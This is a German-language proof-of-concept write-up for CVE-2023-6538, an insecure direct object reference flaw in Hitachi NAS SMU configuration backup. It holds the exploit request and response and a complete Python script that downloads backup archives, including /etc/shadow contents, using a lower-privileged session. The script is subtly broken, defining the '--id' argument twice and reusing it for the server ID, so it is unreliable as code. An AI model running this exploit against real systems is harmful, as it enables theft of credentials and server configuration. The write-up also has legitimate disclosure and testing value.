
Proof-of-concept Exploit für CVE-2023-6538, eine IDOR-Schwachstelle im Hitachi NAS System Management Unit, die es unprivilegierten Benutzern ermöglicht, Backups der Serverkonfiguration mit sensiblen Daten herunterzuladen.
CVE-2023-6538 ist eine Insecure Direct Object Reference (IDOR)-Schwachstelle, die in der Funktion Configuration Backup & Restore der System Management Unit (SMU) von Hitachi NAS (HNAS) gefunden wurde. Diese Schwachstelle betrifft SMU-Versionen vor 14.8.7825.01.
Dieser Exploit erfordert, dass der Angreifer die Kontrolle über die Anmeldeinformationen eines Benutzerkontos hat, das nicht Read-Only oder Global Administrator ist, d.h.:
Storage AdministratorServer AdministratorServer + Storage AdministratorVon Haus aus sollten Benutzer mit der Rolle Global Administrator auf die Funktion Configuration Backup & Restore der SMU zugreifen können, die sich unter https://<HOSTNAME/FQDN/IP>/mgr/app/template/simple%2CDownloadConfigScreen.vm?serverid=1 befindet, und die folgende Anfrage senden, die das Backup der Konfiguration des ausgewählten Servers (d.h. eines Servers, der mit der SMU verbunden ist) erstellt und herunterlädt:
GET /mgr/app/template/simple%2CDownloadConfigScreen.vm?serverid=1 HTTP/1.1
Host: REDACTED
Cookie: JSESSIONID=REDACTED; JSESSIONIDSSO=REDACTED
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Dnt: 1
Referer: https://REDACTED/mgr/app/action/serveradmin.ConfigRestoreAction/eventsubmit_doperform/ignored
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close
Wenn die Anfrage erfolgreich ist, antwortet die SMU mit der folgenden Antwort und startet den Download von registry_data.tgz:
HTTP/1.1 200
Cache-Control: PRIVATE
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Strict-Transport-Security: max-age=31536000;includeSubDomains
X-Frame-Options: SAMEORIGIN
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
P3P: CP="NOI DSP CUR ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Pragma: cache
Content-Disposition: attachment;filename=registry_data.tgz
Content-Type: application/download
Content-Length: 3169247
Date: Fri, 14 Apr 2023 09:30:03 GMT
Connection: close
Server: SMU
[DATA]
Aufgrund eines Versehens in der Geschäftslogik der SMU kann ein Angreifer mit Zugriff auf ein Konto mit den Rollen Storage Administrator, Server Administrator oder Server + Storage Administrator die Cookies JSESSIONID und JSESSIONIDSSO aktualisieren, damit sie mit den Cookies des Benutzers übereinstimmen, über den sie verfügen, und so das Konfigurationsarchiv herunterladen. Darüber hinaus kann der Angreifer auch den Parameter serverid in der Anfrage aktualisieren, um die Konfigurationsarchive verschiedener mit der SMU verbundener Server aufzulisten und herunterzuladen.
Daher könnte ein Skript wie CVE-2023-6538.py verwendet werden, um diese Schwachstelle auszunutzen:
#!/usr/bin/python3
#
# Title: Hitachi NAS (HNAS) System Management Unit (SMU) Configuration Backup & Restore IDOR Vulnerability
# CVE: CVE-2023-6538
# Date: 2023-12-13
# Exploit Author: Arslan Masood (@arszilla)
# Vendor: https://www.hitachivantara.com/
# Version: < 14.8.7825.01
# Tested On: 13.9.7021.04
import argparse
from os import getcwd
import requests
parser = argparse.ArgumentParser(
description="CVE-2023-6538 PoC",
usage="./CVE-2023-6538.py --host <Hostname/FQDN/IP> --id <JSESSIONID> --sso <JSESSIONIDSSO>"
)
# Create --host argument:
parser.add_argument(
"--host",
required=True,
type=str,
help="Hostname/FQDN/IP Address. Provide the port, if necessary, i.e. 127.0.0.1:8443, example.com:8443"
)
# Create --id argument:
parser.add_argument(
"--id",
required=True,
type=str,
help="JSESSIONID cookie value"
)
# Create --sso argument:
parser.add_argument(
"--sso",
required=True,
type=str,
help="JSESSIONIDSSO cookie value"
)
# Create --id argument:
parser.add_argument(
"--id",
required=True,
type=str,
help="Server ID value"
)
args = parser.parse_args()
def download_file(hostname, jsessionid, jsessionidsso, serverid):
# Set the filename:
filename = "registry_data.tgz"
# Vulnerable SMU URL:
smu_url = f"https://{hostname}/mgr/app/template/simple%2CDownloadConfigScreen.vm?serverid={serverid}"
# GET request cookies
smu_cookies = {
"JSESSIONID": jsessionid,
"JSESSIONIDSSO": jsessionidsso
}
# GET request headers:
smu_headers = {
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate",
"Dnt": "1",
"Referer": f"https://{hostname}/mgr/app/action/serveradmin.ConfigRestoreAction/eventsubmit_doperform/ignored",
"Upgrade-Insecure-Requests": "1",
"Sec-Fetch-Dest": "document",
"Sec-Fetch-Mode": "navigate",
"Sec-Fetch-Site": "same-origin",
"Sec-Fetch-User": "?1",
"Te": "trailers",
"Connection": "close"
}
# Send the request:
with requests.get(smu_url, headers=smu_headers, cookies=smu_cookies, stream=True, verify=False) as file_download:
with open(filename, 'wb') as backup_archive:
# Write the zip file to the CWD:
backup_archive.write(file_download.content)
print(f"{filename} has been downloaded to {getcwd()}")
if __name__ == "__main__":
download_file(args.host, args.id, args.sso, args.id)
Die Rechtfertigung des CVSS v3.1-Scores von 7.6 kann durch die Untersuchung von registry_data.tgz weiter verstanden werden:
$ tree -a
.
├── backup.properties
├── registry5.11.db1
├── registry5.13.db1
├── registry5.14.db1
├── registry5.15.db1
├── registry5.1.db1
├── registry5.2.db1
├── registry5.3.db1
├── registry5.4.db1
├── registry5.5.db1
├── registry5.6.db1
├── registry5.7.db1
├── registry5.8.db1
└── registry5.db1
1 directory, 14 files
Das .tgz-Archiv enthält verschiedene Einstellungen und Informationen über den Server, der mit der SMU verbunden ist:

Wie im obigen geschwärzten Bild zu sehen, enthält registry5.db1 die Inhalte von /etc/shadow (die per Regex gefunden wurden) des ausgewählten Servers.
Diese Schwachstelle ist eine „Schwester-Schwachstelle“ zu CVE-2023-5808.